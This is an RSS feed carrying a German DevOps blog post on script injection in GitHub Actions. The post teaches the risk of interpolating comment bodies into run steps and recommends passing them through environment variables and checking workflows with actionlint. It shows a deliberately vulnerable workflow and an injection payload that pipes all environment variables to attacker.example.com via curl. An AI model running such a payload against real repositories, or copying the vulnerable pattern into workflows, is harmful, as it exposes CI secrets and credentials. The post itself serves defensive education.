<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Master DevOps</title>
	<atom:link href="https://masterdevops.eu/feed/" rel="self" type="application/rss+xml" />
	<link>https://masterdevops.eu</link>
	<description></description>
	<lastBuildDate>Fri, 01 May 2026 23:46:02 +0000</lastBuildDate>
	<language>de</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=7.0</generator>

<image>
	<url>https://masterdevops.eu/wp-content/uploads/2026/02/cropped-MasterDevOps-Logo-32x32.png</url>
	<title>Master DevOps</title>
	<link>https://masterdevops.eu</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>Script Injection in GitHub Actions: ${{ github.event.comment.body }}</title>
		<link>https://masterdevops.eu/2026/05/01/script-injection-in-github-actions-github-event-comment-body/</link>
					<comments>https://masterdevops.eu/2026/05/01/script-injection-in-github-actions-github-event-comment-body/#respond</comments>
		
		<dc:creator><![CDATA[kristian]]></dc:creator>
		<pubDate>Fri, 01 May 2026 14:39:12 +0000</pubDate>
				<category><![CDATA[GitHub Actions]]></category>
		<category><![CDATA[GitHub Actions Security]]></category>
		<guid isPermaLink="false">https://masterdevops.eu/?p=87</guid>

					<description><![CDATA[GitHub Actions sind aus modernen CI/CD-Pipelines nicht mehr wegzudenken. Doch eine häufig übersehene Schwachstelle kann dazu führen, dass ein einfacher PR-Kommentar beliebige Befehle auf dem Runner ausführt – inklusive Zugriff auf Secrets. Das Problem: Direkte Interpolation von User-Input GitHub Actions Workflows unterstützen Ausdrücke der Form ${{ ... }}, mit denen zur Laufzeit Werte eingesetzt werden. [&#8230;]]]></description>
										<content:encoded><![CDATA[


<p class="wp-block-paragraph">GitHub Actions sind aus modernen CI/CD-Pipelines nicht mehr wegzudenken. Doch eine häufig übersehene Schwachstelle kann dazu führen, dass ein einfacher PR-Kommentar beliebige Befehle auf dem Runner ausführt – inklusive Zugriff auf Secrets.</p>



<h2 class="wp-block-heading"><strong>Das Problem: Direkte Interpolation von User-Input</strong></h2>



<p class="wp-block-paragraph">GitHub Actions Workflows unterstützen Ausdrücke der Form <code>${{ ... }}</code>, mit denen zur Laufzeit Werte eingesetzt werden. Das Problem entsteht, wenn dieser Mechanismus mit Benutzereingaben kombiniert wird.</p>



<p class="wp-block-paragraph">Betrachten wir folgenden Workflow:</p>



<pre class="wp-block-code"><code>name: "github.event.comment.body"

on:
  issue_comment:
    types: &#091;created]

jobs:
  handle_comment:
    runs-on: ubuntu-latest

    steps:
      - name: Get body
        run: |
          echo "${{ github.event.comment.body }}"</code></pre>



<p class="wp-block-paragraph">Auf den ersten Blick wirkt das harmlos. Tatsächlich ist es eine klassische <strong>Script Injection</strong>-Schwachstelle.</p>



<h2 class="wp-block-heading"><strong>Warum ist das gefährlich?</strong></h2>



<p class="wp-block-paragraph">GitHub Actions führt Template-Substitution durch, <strong>bevor</strong> der Shell-Befehl ausgeführt wird. Der Wert von <code>${{ github.event.comment.body }}</code> wird also direkt als Text in das Shell-Skript eingebettet.</p>



<p class="wp-block-paragraph">Das bedeutet: Wer einen Kommentar unter einem Issue oder Pull Request schreiben kann, kann beliebigen Shell-Code in den Runner injizieren.</p>



<h3 class="wp-block-heading"><strong>Angriffs-Payload</strong></h3>



<p class="wp-block-paragraph">Ein Angreifer kommentiert einfach folgendes unter einem Issue:</p>



<pre class="wp-block-code"><code>"; ls -al; echo "</code></pre>



<p class="wp-block-paragraph">Was auf dem Runner tatsächlich ausgeführt wird, ist dann:</p>



<pre class="wp-block-code"><code>echo ""; ls -al; echo ""</code></pre>



<figure class="wp-block-image aligncenter size-full is-resized"><img fetchpriority="high" decoding="async" width="1002" height="368" src="https://masterdevops.eu/wp-content/uploads/2026/05/github-actions-script-injection-1.png" alt="" class="wp-image-95" style="aspect-ratio:2.722761395276614;width:702px;height:auto" srcset="https://masterdevops.eu/wp-content/uploads/2026/05/github-actions-script-injection-1.png 1002w, https://masterdevops.eu/wp-content/uploads/2026/05/github-actions-script-injection-1-980x360.png 980w, https://masterdevops.eu/wp-content/uploads/2026/05/github-actions-script-injection-1-480x176.png 480w" sizes="(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) and (max-width: 980px) 980px, (min-width: 981px) 1002px, 100vw" /></figure>



<p class="wp-block-paragraph">Das lässt sich beliebig erweitern. Mit einem Payload wie:</p>



<pre class="wp-block-code"><code>"; curl https://attacker.example.com/?s=$(printenv | base64 -w0); echo "</code></pre>



<p class="wp-block-paragraph">werden sämtliche Umgebungsvariablen – inklusive aller als <code>env:</code> oder <code>secrets:</code> gesetzten Werte – an einen externen Server exfiltriert. Secrets wie <code>GITHUB_TOKEN</code>, AWS-Credentials oder API-Keys sind damit kompromittiert.</p>



<h2 class="wp-block-heading"><strong>Die Lösung: Wert über eine Umgebungsvariable übergeben</strong></h2>



<p class="wp-block-paragraph">Die korrekte Lösung ist denkbar einfach: Den unsicheren Wert <strong>nicht</strong> direkt in den <code>run</code>-Block interpolieren, sondern ihn über eine Umgebungsvariable übergeben.</p>



<pre class="wp-block-code"><code>steps:
  - name: Get body
    env:
      COMMENT_BODY: ${{ github.event.comment.body }}
    run: |
      echo "$COMMENT_BODY"</code></pre>



<p class="wp-block-paragraph">Hier übernimmt GitHub Actions die sichere Übergabe: Der Wert landet als Umgebungsvariable im Prozess, ohne jemals als Shell-Code interpretiert zu werden. Sonderzeichen wie <code>"</code>, <code>;</code> oder <code>$()</code> haben dort keine Wirkung.</p>



<figure class="wp-block-image aligncenter size-full is-resized"><img decoding="async" width="920" height="228" src="https://masterdevops.eu/wp-content/uploads/2026/05/github-actions-script-injection-2.png" alt="" class="wp-image-96" style="aspect-ratio:4.034973175676297;width:643px;height:auto" srcset="https://masterdevops.eu/wp-content/uploads/2026/05/github-actions-script-injection-2.png 920w, https://masterdevops.eu/wp-content/uploads/2026/05/github-actions-script-injection-2-480x119.png 480w" sizes="(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) 920px, 100vw" /></figure>



<h3 class="wp-block-heading"><strong>Die Regel</strong></h3>



<p class="wp-block-paragraph">Alle <code>${{ ... }}</code>-Ausdrücke, die auf externe oder Benutzereingaben zurückgehen, gehören <strong>ausschließlich</strong> in den <code>env:</code>-Block – niemals direkt in <code>run:</code>.</p>



<p class="wp-block-paragraph">Zu den besonders häufig betroffenen Ausdrücken gehören:</p>



<ul class="wp-block-list">
<li><code>github.event.comment.body</code></li>



<li><code>github.event.issue.title / .body</code></li>



<li><code>github.event.pull_request.title / .body / .head.ref</code></li>



<li><code>github.head_ref</code></li>
</ul>



<h2 class="wp-block-heading"><strong>Schwachstellen automatisch finden: actionlint</strong></h2>



<p class="wp-block-paragraph">Das Tool <strong><a href="https://github.com/rhysd/actionlint" target="_blank" rel="noreferrer noopener">actionlint</a></strong> analysiert Workflow-Dateien statisch und erkennt diese Klasse von Problemen zuverlässig. Es lässt sich ohne Installation direkt per Docker ausführen:</p>



<pre class="wp-block-code"><code>docker run --rm -v $(pwd):/repo --workdir /repo rhysd/actionlint:latest -color</code></pre>



<p class="wp-block-paragraph">Für den unsicheren Workflow von oben gibt actionlint folgende Ausgabe:</p>



<pre class="wp-block-code"><code>.github/workflows/github_event_comment_body.yml:19:24: "github.event.comment.body" is potentially untrusted. avoid using it directly in inline scripts. instead, pass it through an environment variable. see https://docs.github.com/en/actions/reference/security/secure-use#good-practices-for-mitigating-script-injection-attacks for more details &#091;expression]</code></pre>



<p class="wp-block-paragraph">actionlint sollte Teil jeder CI-Pipeline sein, die GitHub Actions-Workflows pflegt.</p>



<h2 class="wp-block-heading"><strong>Zusammenfassung</strong></h2>



<p class="wp-block-paragraph">Script Injection über GitHub-Kontextausdrücke ist eine der am häufigsten übersehenen Schwachstellen in GitHub Actions. Die gute Nachricht: Sie lässt sich mit einer minimalen Änderung im Workflow und einem statischen Analysetool vollständig vermeiden.</p>



<h2 class="wp-block-heading"><strong>Weiterführende Links</strong></h2>



<ul class="wp-block-list">
<li><a href="https://docs.github.com/en/actions/reference/security/secure-use#good-practices-for-mitigating-script-injection-attacks">GitHub Docs: Good practices for mitigating script injection attacks</a></li>



<li><a href="https://github.com/rhysd/actionlint/blob/main/docs/usage.md#docker">rhysd/actionlint – statischer Linter für GitHub Actions</a></li>
</ul>
]]></content:encoded>
					
					<wfw:commentRss>https://masterdevops.eu/2026/05/01/script-injection-in-github-actions-github-event-comment-body/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
	</channel>
</rss>
